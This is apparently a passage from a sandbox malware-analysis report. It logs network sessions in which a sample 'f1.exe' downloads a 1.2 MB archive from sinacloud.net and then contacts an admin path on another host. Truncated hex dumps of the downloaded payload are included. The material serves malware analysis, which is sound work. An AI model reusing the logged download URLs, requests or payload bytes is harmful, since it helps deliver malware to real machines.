bb 80 ea a4 66 fd 82 00 9a a1 a6 cb 01 f3 80 06 a9 da b5 be bc a7 3f 59 24 2d 17 9a e0 09 d0 b6 20 da f8 92 cb 45 0f 08 c8 b8 19 44 53 28 ab 1d ab 66 27 15 67 b4 dc 46 b7 90 c4 77 49 4a 96 cc 2b ed d0 39 3d 44 3b 7c fb ba 96 52 e9 8e 65 50 0c d1 7a a2 01 ce af 07 24 f1 70 09 76 b8 fe 5a a1 87 75 78 43 47 13 13 26 f9 fe a2 49 bf 24 4c e3 fb 36 67 a9 3b f2 60 31 24 7b 9f cd c1 86 8c 04 9e 34 91 31 ac 5b 1e a5 15 5c 40 6c c0 07 db 23 6f 87 35 52 50 6e 0b f4 3b 55 04 23 25 97 2e ca a0 1c b3 ee b3 22 9d c7 26 75 ca 4d 20 3f fa 20 17 bb 16 93 d0 42 ea 8c 77 2f 38 92 f0 0b 55 1d 84 a4 9a 2f 00 da de 2b 32 b9 51 e2 c9 72 dc 18 98 97 61 70 91 a9 91 4a 1a 0a 97 9f 8a d1 bb 19 8b 18 cc 40 a1 7d 8b dd 45 07 85 31 a5 81 52 ef 6e cd 2e 3c 92 a9 60 38 [TRUNCATED] Data Ascii: PKRYP"o>B64d.rarPbaU\]QETsIL<7O2K+f?Y$- EDS(f'gFwIJ+9=D;\|RePz$pvZuxCG&I$L6g;`1${41[\@l#o5RPn;U#%."&uM ? Bw/8U/+2QrapJ@}E1Rn.<`8_s`&!r2vl)Z$ n<_?>\|y(O.~>Ng\+ISt\O;wJ^(GH!!j;i.UXC&y/c_\P~X&Qzb4Nw2.IX"&`>g 3p,{>56WS/6
Aug 4, 2024 10:57:43.500010014 CEST	1236	IN	Data Raw: 87 0c 15 d9 36 06 41 a2 28 81 39 9f c8 b3 a4 35 45 7b 14 fb b6 ee d7 9d 99 05 74 80 79 ae 47 c8 f9 db 0a 16 99 5f fd a8 46 79 93 c9 99 aa ed 78 57 47 4f b9 67 f5 8c 8d 32 30 c0 42 e7 da b8 67 24 8e df 51 6c 44 e6 47 99 5c 70 4c a2 26 6e 22 d1 c2 Data Ascii: 6A(95E{tyG_FyxWGOg20Bg$QlDG\pL&n"Q:0LUG@au7r7c:^H@b>xh &-\J9`Vb^{Z-V qu77%e08m9$/L3ro)>m?\{A
Aug 4, 2024 10:57:43.500024080 CEST	1236	IN	Data Raw: 4b 71 49 22 95 dd fa f8 a4 c6 0c 4e ec 38 66 b9 23 58 4f 53 f7 1d ab 55 38 4a b8 1b 13 1b 73 ca 8b a1 80 f4 5b c8 b1 82 36 b6 69 43 b7 cd 3b af 9f 6e b6 79 79 fe 4d 13 b6 30 f1 4d f3 28 2f 43 40 d5 50 9a e4 7e 45 c2 a5 7d fe ce d3 46 53 ff 8f 90 Data Ascii: KqI"N8f#XOSU8Js[6iC;nyyM0M(/C@P~E}FSR^7u4iw8$A3GVvxPl@W.2y,ppy_x4Y`(5vG^y?"433jT'c?G8KHxBOk<pr0&yh
Aug 4, 2024 10:57:43.500117064 CEST	1236	IN	Data Raw: 3b 74 86 fe ad e0 52 73 bc 27 1d 7b fc 06 60 db 68 32 6b ca 76 38 2e 0c 69 b9 e9 9c a4 85 13 2a cb 6e 8f 57 4a bd 0d 17 ae cf 82 45 e4 4f 77 46 f1 5b cf 04 d7 54 5e 06 b5 ac 7b cc ae 8a c4 87 dd 4a 3a 24 26 8d bb d5 7c af 5d d5 89 9e db 75 18 e1 Data Ascii: ;tRs'{`h2kv8.inWJEOwF[T^{J:$&\|]uz~u~wPFgz!3]<5/1F3bK>=]4RTD4WrAphX^;ew_3K\|zoOrVTz?qc!T\|?(95BNg!
Aug 4, 2024 10:57:43.500128984 CEST	1236	IN	Data Raw: 0a 20 bb f9 f1 34 f2 95 8f 59 9f 4b 25 43 96 62 ee c8 64 ad 33 b7 d3 e7 7a de 42 fa 7b 4f 79 7a 09 32 43 35 ca b1 19 a6 39 c8 8d d9 ad 57 db 19 2c 38 56 96 ae d3 b2 a2 09 7e 53 e5 d2 73 e4 33 2e 32 24 d5 2d 10 98 a6 c3 b2 84 03 7f 33 33 d4 a9 f6 Data Ascii: 4YK%Cbd3zB{Oyz2C59W,8V~Ss3.2$-333WwIBF~[n&d}vb3a[^ZR4v"Xcd7/:*96dT%~}yahT5b#Ff^>$lUQz#i6i&D
Aug 4, 2024 10:57:43.500144958 CEST	1236	IN	Data Raw: a5 6c 52 c0 4e 3b 9b 32 e2 3d 56 bc 2f 0a d3 b0 aa 5a bc a3 95 95 ef 6f 70 e6 4f 04 cb 40 fa 1f 6b 1b eb 74 07 e8 ee 4f 80 ed f2 f5 87 46 1c 5e 64 61 7f 6e 43 4d 0e ee e8 77 e3 bf e6 1d a7 e4 72 1b a3 bb 4f 89 28 09 8a c3 87 a3 30 3f e6 73 e6 41 Data Ascii: lRN;2=V/ZopO@ktOF^danCMwrO(0?sAp<*-'`8a[wp_4&V\bGsjo7S?JhRBK6(8EeF0uai. M-LK2N\|h_e 'wqP
Aug 4, 2024 10:57:43.500158072 CEST	776	IN	Data Raw: 3b 24 5e 56 b3 58 60 66 92 dd 0f 76 d4 3e 23 07 6e bf 50 11 d2 26 96 41 83 07 fd 7a 17 2c 8a 43 aa aa 46 41 ce 68 7b 4b 81 ee e8 06 cc ae 6d e9 e5 66 09 d9 66 3d 4e f3 8f 2e 0d 4a ec 6d c7 c2 dd 7a 2d db e7 ed b1 fa f0 6f 13 32 04 1f 88 d5 1c 3e Data Ascii: ;$^VX`fv>#nP&Az,CFAh{Kmff=N.Jmz-o2>sDnH6]/nrnl_.Kfl3MVh6K2N?h4CWw=~4 L-9E%EJ#n{QHtLq9Fq,
Aug 4, 2024 10:57:43.500180006 CEST	1236	IN	Data Raw: b0 5f 22 c3 e7 fb 13 2f 24 f5 23 04 ba 2c 45 fc 6c 4f d6 f6 8a 5f 20 17 7b 36 65 e6 4a d8 be 62 52 a2 67 f7 ac db da f3 3a ff 16 1d 64 11 51 0b 56 50 6b 8d a1 5b 11 e0 ed 74 1c ae 29 5c 6f da 55 81 a8 15 ca cd 28 3c 0a c7 57 35 ca 7c 74 c2 f9 e2 Data Ascii: _"/$#,ElO_ {6eJbRg:dQVPk[t)\oU(<W5\|ts k#x\|w`bO+KWyk!=DQ&I";YE-P0G,iT]1R7dvIhhQn^-0+cHCY=im.BoP[r=r7-{Z"
Aug 4, 2024 10:57:43.500215054 CEST	224	IN	Data Raw: 35 de 44 ab b8 40 2a 3d 27 ca 56 ad a2 27 e4 d5 eb 20 46 3a 9e 28 b9 e6 08 47 fa 94 ff 05 44 30 04 24 bf 08 87 c8 f6 5a dc ea 98 b9 d8 24 8e f5 05 be 36 cf 5a c1 8e f8 55 54 99 a2 91 85 6d f7 aa 60 e5 53 4b 25 54 28 b3 40 f5 98 1a cd db 08 3c 44 Data Ascii: 5D@*='V' F:(GD0$Z$6ZUTm`SK%T(@<D@Xs8YCs%V8.El]#SLP~Gg`bp@jq"q.HNo%a57M`hDn!9RcY]QFx1[{W
Aug 4, 2024 10:57:43.500226021 CEST	1236	IN	Data Raw: 4a bd df 48 f1 cc 53 04 50 dd 83 4e f1 fb e0 cd b8 07 16 c7 7f 36 70 2a a7 4a c2 0f 61 30 d9 5c 8b fb 94 92 9c 12 3f 74 5c 21 f8 a6 a2 bf 67 ac 1d 3c 77 0a 05 93 0b d5 02 9f a5 de df 81 70 4c b8 d3 a2 a8 93 0d 5b 40 d3 f4 4d 2a 1c b7 1c df 88 03 Data Ascii: JHSPN6pJa0\?t\!g<wpL[@MZ,?ws#7[P1Sru-iVJnYF!i4RahNW>I@>5pP.!^9N@/{1!=<]G(0YC7Bq^>+=&J
Aug 4, 2024 10:57:43.505039930 CEST	1236	IN	Data Raw: 7d 63 53 59 aa a4 a6 bd 95 b1 0e 94 f6 ed b4 9e e5 da 5f 39 f8 19 64 c3 cc cd 94 36 1f 49 b3 85 02 a9 26 c0 ef aa 44 fd fa 3e 7c 4d a7 61 eb e8 ab 04 92 42 be 33 d7 dd 10 ef 87 49 68 58 52 d2 fc 95 7a 3f ac c2 22 79 02 01 1c c5 2b cf a1 c9 f6 dc Data Ascii: }cSY_9d6I&D>\|MaB3IhXRz?"y+Qm~VK^z<eC X&;E=<~_JbYw\_`^\*=&hEDAkzjGKo5R3kS#c;n-4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.7	49757	27.221.16.179	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:49.235245943 CEST	232	OUT	GET /operate/24647 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: sinacloud.net Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:50.672144890 CEST	1236	IN	HTTP/1.1 206 Partial Content Server: nginx Date: Sun, 04 Aug 2024 08:57:51 GMT Content-Type: application/octet-stream Content-Length: 1228689 Connection: keep-alive X-RequestId: fec7e841-2408-0416-5750-58c7acc7b116 X-Requester: GRPS000000ANONYMOUSE Last-Modified: Sun, 04 Aug 2024 08:51:44 GMT X-Filesize: 1228689 ETag: "988e83af278ddc1dc2294dd77957bbea" x-amz-meta-crc32: 0A37AD11 Cache-Control: max-age=31536000 Access-Control-Allow-Headers: Origin, Content-Type, Accept, Range, Content-Length Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS, HEAD Access-Control-Max-Age: 31536000 Access-Control-Allow-Origin: * Content-Range: bytes 0-1228688/1228689 Data Raw: 50 4b 03 04 14 00 01 00 08 00 6e 86 04 59 44 68 7d 7a 19 bf 12 00 d8 34 13 00 0b 00 00 00 42 36 34 64 74 6d 70 2e 72 61 72 33 04 e4 7b 56 ae b2 6e 0a e5 89 f1 75 9d 50 02 9b a8 ef 5b d7 2e 4a 75 ff a8 23 08 77 5e c9 ad 87 6c 4b 18 73 e3 42 f5 39 f6 66 45 94 ee ac 15 a7 29 d8 10 87 8c c0 fe a4 ac 4a 99 ab 90 67 e5 ff b9 2d d5 2f 07 47 7b e4 59 70 f8 94 28 d5 5d 59 34 11 54 26 e8 50 1b 80 56 d4 df 43 92 0a a2 68 fd d5 a4 4a 4e f8 7d a1 7c f3 96 f5 b6 14 41 19 ac 2c ab 5b 04 07 40 c5 2b 76 db 69 ea 74 93 af 35 ae d5 b2 78 aa 1a ff 99 15 a4 c3 5b 19 4e e2 c8 4c 65 96 2d ed 60 d2 90 3e b4 23 66 2b 2f 22 0b 88 72 ae 45 c9 b7 76 76 a2 1c 73 43 85 09 de fc ce f5 3e aa a0 5f 07 de c2 93 3c 4b d0 d3 47 36 1f 5f 81 08 b9 62 69 88 6d bf 32 22 4d 82 4d 8b bb 0c 96 18 1d 58 c1 95 74 f4 8e b4 ba 90 2a 57 50 e7 e4 07 63 fc 9b 80 77 ac 0f 91 69 1c 08 0e ad ad aa eb 1e 45 29 dd 6a 08 c4 3c a3 f8 1d f8 5e ba 29 05 67 66 6a ac 78 25 00 4a 7f 37 f0 3b 10 12 34 a8 ef c3 c4 89 eb a5 e6 6c ba 72 be 20 b6 d0 bf 50 9f ac 0c [TRUNCATED] Data Ascii: PKnYDh}z4B64dtmp.rar3{VnuP[.Ju#w^lKsB9fE)Jg-/G{Yp(]Y4T&PVChJN}\|A,[@+vit5x[NLe-`>#f+/"rEvvsC>_<KG6_bim2"MMXt*WPcwiE)j<^)gfjx%J7;4lr PaHqxm\|Yh{LG:57]a?536BP9Kn$q#G}p8E@G?@9@PzF'G~Gr>H8h<7sRLYYFr@"x%J{a~u:aHdx;J
Aug 4, 2024 10:57:50.672183037 CEST	1236	IN	Data Raw: a8 52 a3 ac 5f 85 d7 4a 05 2b ae ce 2b 2a 7a 6c c9 86 62 47 0f 2b 96 33 68 73 77 8b 7f 5b f9 f4 55 d1 96 0d 68 09 09 a5 ad 0e 00 ae fd d8 ef c2 9c 22 b8 74 0e 90 c6 c2 ad dd 87 22 42 c3 cf 5e 42 89 18 0f 05 31 e5 16 07 31 86 7b 09 07 ed a6 ef c4 Data Ascii: R_J++*zlbG+3hsw[Uh"t"B^B11{~UoE,?=4C1ut>GM]b[I5tr#kyS{h[Ty@=\|M{~F%u A~B~ihiuKR
Aug 4, 2024 10:57:50.672219038 CEST	1236	IN	Data Raw: bb c3 76 e4 a4 31 cc fe 05 a7 5e da 61 3a 4f df 13 b9 f4 3f b7 59 c1 61 e8 90 14 41 18 0c ee e1 dc eb 56 5c eb 53 25 35 97 00 ac 4d c4 11 fe 25 6e 14 cf 01 d9 12 14 9c 72 30 16 7f 98 c5 a9 da 4f aa 5b ac 06 51 c9 a5 db 47 bf 70 cd 47 0e f8 85 ee Data Ascii: v1^a:O?YaAV\S%5M%nr0O[QGpGObACI!79O[&cUZ1+\|r\|-/+nK nPBkiVVhUa[~go785we\|try5~9NgB05Fx6PkY8&/3%R^
Aug 4, 2024 10:57:50.672252893 CEST	1236	IN	Data Raw: 0c f9 bc 31 b4 2e 06 22 10 f6 d2 f9 78 ad bc 47 16 31 fe 2f d9 53 00 0c 9f 1e 08 92 d8 d3 7d b0 2c 51 52 a4 f5 ef 02 0c 95 45 19 9b 5b 3a ff 0a 1b 9a c8 99 42 bb c4 29 50 73 7f c5 0c 6b 02 e2 6c 0f a5 de 43 db 66 6e cd 22 90 80 7d 56 f1 34 b5 62 Data Ascii: 1."xG1/S},QRE[:B)PsklCfn"}V4bF3L{x&A+67<xD7"?e+AXK0Hr$PK\|;s[g&`[ viRux5oy6G5@bY/jc1GjA\|vR(.-BrDn
Aug 4, 2024 10:57:50.672286987 CEST	1236	IN	Data Raw: 61 10 d1 91 d4 ac 7c 4d a6 52 4a c9 81 73 2b 77 92 58 33 67 da 43 10 78 54 97 2e 50 48 a5 ea 94 17 34 a5 8c 41 0e 6c cd 8f 3f f2 71 7b 04 03 97 85 a0 9e 18 37 ce 2b 4a 86 fb 7d 65 af a6 48 de 35 c7 f8 36 73 8c 76 55 c5 11 fa 08 d3 e8 d3 a1 0b 6f Data Ascii: a\|MRJs+wX3gCxT.PH4Al?q{7+J}eH56svUoeCqNQ*\|_s,R2.^9!AP%gs\7Y%`7`Q2'O5dx6AEv}XQ&f\|dA62ojRFa.hm4A!.%
Aug 4, 2024 10:57:50.672322035 CEST	1236	IN	Data Raw: b1 01 66 9a d8 3a ec ba 11 c5 59 71 5d 0a 1b 45 83 b9 10 05 58 28 8f c3 29 d5 ae 7e 7f 5d 0f fa b0 67 4d f1 cd 15 64 49 81 79 3a a6 9e 3d d6 df c1 83 41 99 61 a3 0c e4 74 1c 9e e4 a6 cc 2b ba 5f 33 d1 07 37 9c 8e 65 fd be 3b 24 41 79 2e 4d 8a 2f Data Ascii: f:Yq]EX()~]gMdIy:=Aat+_37e;$Ay.M/ouM8 ?&ugf8yf"gip42/Cbc^)_t!{Vb''}23eWv&('<dAcE('"iKk<pu&6\,n
Aug 4, 2024 10:57:50.672358990 CEST	1236	IN	Data Raw: d3 ae e7 5e ad 7a 37 e0 40 66 25 f1 e0 3f 37 30 d0 21 59 b2 d9 25 bd 58 d6 0d 77 fb e5 1d 9a f1 3a 94 fe b6 2d 34 ba 71 33 e6 d8 c3 a7 6c a8 04 69 31 a9 c2 95 2e d1 42 68 e8 d6 6a ca df 48 f1 fa fe a4 1c bf ab 18 71 9f b9 5f b6 9c 9b 97 95 68 d5 Data Ascii: ^z7@f%?70!Y%Xw:-4q3li1.BhjHq_h:KY$BV`Lf&:6'%MJ8D)un8Ssm[.A<kv7[Q02Y{[0NY2bjUiq1C&walq0oc=
Aug 4, 2024 10:57:50.672393084 CEST	1236	IN	Data Raw: 10 c2 fa 3b a9 eb 7f ff 56 79 4c 1c d5 e3 ec 50 a9 19 c5 9f 7f 67 a5 0c 9c 52 92 18 a9 78 ed ad 18 89 70 ff 92 e1 dd 0a 20 1c 4a 84 79 7d 31 30 be d2 07 77 38 c9 c6 bc 1b a0 eb a7 ad e0 65 9e be d0 92 bd 1f 13 94 fa 68 56 30 41 54 5e c5 c3 a6 ab Data Ascii: ;VyLPgRxp Jy}10w8ehV0AT^o`nv:HWi{]3Pg36t$yKZHGlBF`!M i@j82'xWV>Un_"h1S[,G+y;xJ^aAk1m<'-\|
Aug 4, 2024 10:57:50.672426939 CEST	1236	IN	Data Raw: d7 0d 82 b5 c8 88 83 2f 08 b2 09 c1 74 d7 72 20 6c 21 c6 2d 59 50 b4 70 3e c6 1a 37 1f f5 c4 23 f2 f4 83 b0 63 87 6f d4 23 f3 97 4e da aa b9 28 e3 58 65 f9 9c ad 16 d3 a3 21 ef 09 14 c2 d0 44 9a ca 4d 9e af 42 c8 d0 3d 65 ae 3c 2d 57 76 5f 04 d8 Data Ascii: /tr l!-YPp>7#co#N(Xe!DMB=e<-Wv_{]zW~whZ!iW?b0?yt!!a`F 4<Q,ngB60J!Em<"U7"(FbW3Wt;~W!%(/sIWB8U[#R
Aug 4, 2024 10:57:50.672457933 CEST	277	IN	Data Raw: 51 2a 29 fb 4b b9 03 c1 42 17 85 5b 6d d8 3b 64 ec e5 26 28 be 35 de 55 da b8 75 06 3a 47 c9 ca 9f 7b 97 26 fd 5d 6b ac f1 e5 29 37 3b c2 49 3d 43 19 53 29 a2 1b 6b 9a 4d 13 94 4b 7f e0 0a cc 32 16 04 16 88 04 98 2d 11 4f ac 40 ad be ce 61 d6 6f Data Ascii: Q*)KB[m;d&(5Uu:G{&]k)7;I=CS)kMK2-O@aoy0_i4i}RN9o'p;bM]0Bk2\|,,D@L~:OBj<gAcVl j1[M<KvNDH%Rp0Fp
Aug 4, 2024 10:57:50.672665119 CEST	1236	IN	Data Raw: ac 05 bf 49 b9 88 e7 9b 0c ae f2 4c 52 bb 77 74 2e 35 4d 72 a4 62 d7 7a 71 06 3b 15 a6 0c 1e 11 af 7c c8 15 ba 71 71 a3 39 65 be b3 4d 00 45 21 4b c7 25 31 68 dc 72 11 9d 69 ce bc 63 f1 81 f3 55 52 63 b0 15 6f c3 52 5c 5d 9a 1f 62 49 53 12 b1 82 Data Ascii: ILRwt.5Mrbzq;\|qq9eME!K%1hricURcoR\]bISfcyE_mVkNM"oE-}K\|+=j!9t@pZnk,]CZX`45$V)EqQ\|slCF,+_XAPP[yaforsId)~A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.7	49758	27.221.16.149	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:58:01.290200949 CEST	232	OUT	GET /operate/24647 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: sinacloud.net Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:58:02.501460075 CEST	1236	IN	HTTP/1.1 206 Partial Content Server: nginx Date: Sun, 04 Aug 2024 08:57:59 GMT Content-Type: application/octet-stream Content-Length: 1228689 Connection: keep-alive X-RequestId: 2d5652ad-2408-0416-5801-b4055d752e1b X-Requester: GRPS000000ANONYMOUSE Last-Modified: Sun, 04 Aug 2024 08:51:44 GMT X-Filesize: 1228689 ETag: "988e83af278ddc1dc2294dd77957bbea" x-amz-meta-crc32: 0A37AD11 Cache-Control: max-age=31536000 Access-Control-Allow-Headers: Origin, Content-Type, Accept, Range, Content-Length Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS, HEAD Access-Control-Max-Age: 31536000 Access-Control-Allow-Origin: * Content-Range: bytes 0-1228688/1228689 Data Raw: 50 4b 03 04 14 00 01 00 08 00 6e 86 04 59 44 68 7d 7a 19 bf 12 00 d8 34 13 00 0b 00 00 00 42 36 34 64 74 6d 70 2e 72 61 72 33 04 e4 7b 56 ae b2 6e 0a e5 89 f1 75 9d 50 02 9b a8 ef 5b d7 2e 4a 75 ff a8 23 08 77 5e c9 ad 87 6c 4b 18 73 e3 42 f5 39 f6 66 45 94 ee ac 15 a7 29 d8 10 87 8c c0 fe a4 ac 4a 99 ab 90 67 e5 ff b9 2d d5 2f 07 47 7b e4 59 70 f8 94 28 d5 5d 59 34 11 54 26 e8 50 1b 80 56 d4 df 43 92 0a a2 68 fd d5 a4 4a 4e f8 7d a1 7c f3 96 f5 b6 14 41 19 ac 2c ab 5b 04 07 40 c5 2b 76 db 69 ea 74 93 af 35 ae d5 b2 78 aa 1a ff 99 15 a4 c3 5b 19 4e e2 c8 4c 65 96 2d ed 60 d2 90 3e b4 23 66 2b 2f 22 0b 88 72 ae 45 c9 b7 76 76 a2 1c 73 43 85 09 de fc ce f5 3e aa a0 5f 07 de c2 93 3c 4b d0 d3 47 36 1f 5f 81 08 b9 62 69 88 6d bf 32 22 4d 82 4d 8b bb 0c 96 18 1d 58 c1 95 74 f4 8e b4 ba 90 2a 57 50 e7 e4 07 63 fc 9b 80 77 ac 0f 91 69 1c 08 0e ad ad aa eb 1e 45 29 dd 6a 08 c4 3c a3 f8 1d f8 5e ba 29 05 67 66 6a ac 78 25 00 4a 7f 37 f0 3b 10 12 34 a8 ef c3 c4 89 eb a5 e6 6c ba 72 be 20 b6 d0 bf 50 9f ac 0c [TRUNCATED] Data Ascii: PKnYDh}z4B64dtmp.rar3{VnuP[.Ju#w^lKsB9fE)Jg-/G{Yp(]Y4T&PVChJN}\|A,[@+vit5x[NLe-`>#f+/"rEvvsC>_<KG6_bim2"MMXt*WPcwiE)j<^)gfjx%J7;4lr PaHqxm\|Yh{LG:57]a?536BP9Kn$q#G}p8E@G?@9@PzF'G~Gr>H8h<7sRLYYFr@"x%J{a~u:aHdx;J
Aug 4, 2024 10:58:02.501529932 CEST	1236	IN	Data Raw: a8 52 a3 ac 5f 85 d7 4a 05 2b ae ce 2b 2a 7a 6c c9 86 62 47 0f 2b 96 33 68 73 77 8b 7f 5b f9 f4 55 d1 96 0d 68 09 09 a5 ad 0e 00 ae fd d8 ef c2 9c 22 b8 74 0e 90 c6 c2 ad dd 87 22 42 c3 cf 5e 42 89 18 0f 05 31 e5 16 07 31 86 7b 09 07 ed a6 ef c4 Data Ascii: R_J++*zlbG+3hsw[Uh"t"B^B11{~UoE,?=4C1ut>GM]b[I5tr#kyS{h[Ty@=\|M{~F%u A~B~ihiuKR
Aug 4, 2024 10:58:02.501590014 CEST	1236	IN	Data Raw: bb c3 76 e4 a4 31 cc fe 05 a7 5e da 61 3a 4f df 13 b9 f4 3f b7 59 c1 61 e8 90 14 41 18 0c ee e1 dc eb 56 5c eb 53 25 35 97 00 ac 4d c4 11 fe 25 6e 14 cf 01 d9 12 14 9c 72 30 16 7f 98 c5 a9 da 4f aa 5b ac 06 51 c9 a5 db 47 bf 70 cd 47 0e f8 85 ee Data Ascii: v1^a:O?YaAV\S%5M%nr0O[QGpGObACI!79O[&cUZ1+\|r\|-/+nK nPBkiVVhUa[~go785we\|try5~9NgB05Fx6PkY8&/3%R^
Aug 4, 2024 10:58:02.501645088 CEST	1236	IN	Data Raw: 0c f9 bc 31 b4 2e 06 22 10 f6 d2 f9 78 ad bc 47 16 31 fe 2f d9 53 00 0c 9f 1e 08 92 d8 d3 7d b0 2c 51 52 a4 f5 ef 02 0c 95 45 19 9b 5b 3a ff 0a 1b 9a c8 99 42 bb c4 29 50 73 7f c5 0c 6b 02 e2 6c 0f a5 de 43 db 66 6e cd 22 90 80 7d 56 f1 34 b5 62 Data Ascii: 1."xG1/S},QRE[:B)PsklCfn"}V4bF3L{x&A+67<xD7"?e+AXK0Hr$PK\|;s[g&`[ viRux5oy6G5@bY/jc1GjA\|vR(.-BrDn
Aug 4, 2024 10:58:02.501678944 CEST	1236	IN	Data Raw: 61 10 d1 91 d4 ac 7c 4d a6 52 4a c9 81 73 2b 77 92 58 33 67 da 43 10 78 54 97 2e 50 48 a5 ea 94 17 34 a5 8c 41 0e 6c cd 8f 3f f2 71 7b 04 03 97 85 a0 9e 18 37 ce 2b 4a 86 fb 7d 65 af a6 48 de 35 c7 f8 36 73 8c 76 55 c5 11 fa 08 d3 e8 d3 a1 0b 6f Data Ascii: a\|MRJs+wX3gCxT.PH4Al?q{7+J}eH56svUoeCqNQ*\|_s,R2.^9!AP%gs\7Y%`7`Q2'O5dx6AEv}XQ&f\|dA62ojRFa.hm4A!.%
Aug 4, 2024 10:58:02.501714945 CEST	1236	IN	Data Raw: b1 01 66 9a d8 3a ec ba 11 c5 59 71 5d 0a 1b 45 83 b9 10 05 58 28 8f c3 29 d5 ae 7e 7f 5d 0f fa b0 67 4d f1 cd 15 64 49 81 79 3a a6 9e 3d d6 df c1 83 41 99 61 a3 0c e4 74 1c 9e e4 a6 cc 2b ba 5f 33 d1 07 37 9c 8e 65 fd be 3b 24 41 79 2e 4d 8a 2f Data Ascii: f:Yq]EX()~]gMdIy:=Aat+_37e;$Ay.M/ouM8 ?&ugf8yf"gip42/Cbc^)_t!{Vb''}23eWv&('<dAcE('"iKk<pu&6\,n
Aug 4, 2024 10:58:02.501748085 CEST	1236	IN	Data Raw: d3 ae e7 5e ad 7a 37 e0 40 66 25 f1 e0 3f 37 30 d0 21 59 b2 d9 25 bd 58 d6 0d 77 fb e5 1d 9a f1 3a 94 fe b6 2d 34 ba 71 33 e6 d8 c3 a7 6c a8 04 69 31 a9 c2 95 2e d1 42 68 e8 d6 6a ca df 48 f1 fa fe a4 1c bf ab 18 71 9f b9 5f b6 9c 9b 97 95 68 d5 Data Ascii: ^z7@f%?70!Y%Xw:-4q3li1.BhjHq_h:KY$BV`Lf&:6'%MJ8D)un8Ssm[.A<kv7[Q02Y{[0NY2bjUiq1C&walq0oc=
Aug 4, 2024 10:58:02.501782894 CEST	1000	IN	Data Raw: 10 c2 fa 3b a9 eb 7f ff 56 79 4c 1c d5 e3 ec 50 a9 19 c5 9f 7f 67 a5 0c 9c 52 92 18 a9 78 ed ad 18 89 70 ff 92 e1 dd 0a 20 1c 4a 84 79 7d 31 30 be d2 07 77 38 c9 c6 bc 1b a0 eb a7 ad e0 65 9e be d0 92 bd 1f 13 94 fa 68 56 30 41 54 5e c5 c3 a6 ab Data Ascii: ;VyLPgRxp Jy}10w8ehV0AT^o`nv:HWi{]3Pg36t$yKZHGlBF`!M i@j82'xWV>Un_"h1S[,G+y;xJ^aAk1m<'-\|
Aug 4, 2024 10:58:02.501821041 CEST	1236	IN	Data Raw: a4 59 c8 ae c1 ce b9 1c 3d df df 12 e5 80 af 1e 1c bd 37 79 bd 0e d3 21 0c e4 f5 3e 16 4d 4a 2e d7 2e 61 bc 10 6d f0 5f d8 71 f6 26 7c 0e dd 42 c6 66 72 be 79 9d 40 18 ef ed 8c 6f 1b 7b 01 46 24 eb ac d1 ab be 41 f7 36 a5 77 09 00 ae 4e ad bf 0d Data Ascii: Y=7y!>MJ..am_q&\|Bfry@o{F$A6wNbx~CTln~,?;U\:rRF-dM(Z/B9U_BD+^l&9QF:e@t=m>+ZTFIIm*
Aug 4, 2024 10:58:02.501857042 CEST	1236	IN	Data Raw: 17 81 d6 48 58 11 51 d0 0a b6 20 6c 99 9b 59 f6 6a dc 9f 6e e4 e1 a7 0b b9 bb 2f 00 e8 be ae 2a b8 a2 5d 1a c6 00 5a c1 e6 17 d5 5e 5d 59 30 da a9 b1 65 25 b5 59 1c 54 09 c8 2c bd 1a 61 07 54 4b 92 ec 79 dc 4d ea f1 d0 9b 43 20 6e d2 01 54 98 72 Data Ascii: HXQ lYjn/]Z^]Y0e%YT,aTKyMC nTr^d3O\|[K-e%W#"k8Xg]-J%w%-9'C8-7,;-}H;G\|g_^.Y4;A~)2<3P i0PpQ)K
Aug 4, 2024 10:58:02.507713079 CEST	1236	IN	Data Raw: b5 c2 b4 4f 56 c9 80 25 84 df 12 14 c0 9c c0 5e 24 13 a0 ce 24 d3 0b c5 6f 26 43 38 a5 89 c8 53 74 a7 6b 73 47 ab 21 f3 c7 4e 38 ab ef 38 ac 76 47 00 39 81 13 44 b2 e0 ed aa 5d 99 95 68 05 bc d4 e9 8d 71 77 b3 93 18 8a 2e 2e 4e 99 bc 82 0b 97 e1 Data Ascii: OV%^$$o&C8StksG!N88vG9D]hqw..N57.4HWrU/TM^@zn\|k/59]oqp]A0o)mtMW($Vm/7=N#)N~IJ.yM*71j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.7	49760	8.218.87.7	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:58:09.597023010 CEST	205	OUT	GET /kss_admin/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Host: yanzheng.appchizi.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:58:10.504955053 CEST	1236	IN	HTTP/1.1 206 Partial Content Date: Sun, 04 Aug 2024 08:58:10 GMT Server: Apache/2.4.10 (Debian) PHP/5.3.29 X-Powered-By: PHP/5.3.29 Set-Cookie: PHPSESSID=7838cedc7c12bc65c0efa4800a3bdf5f; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Range: bytes 0-4574/4575 Content-Length: 4575 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html;charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 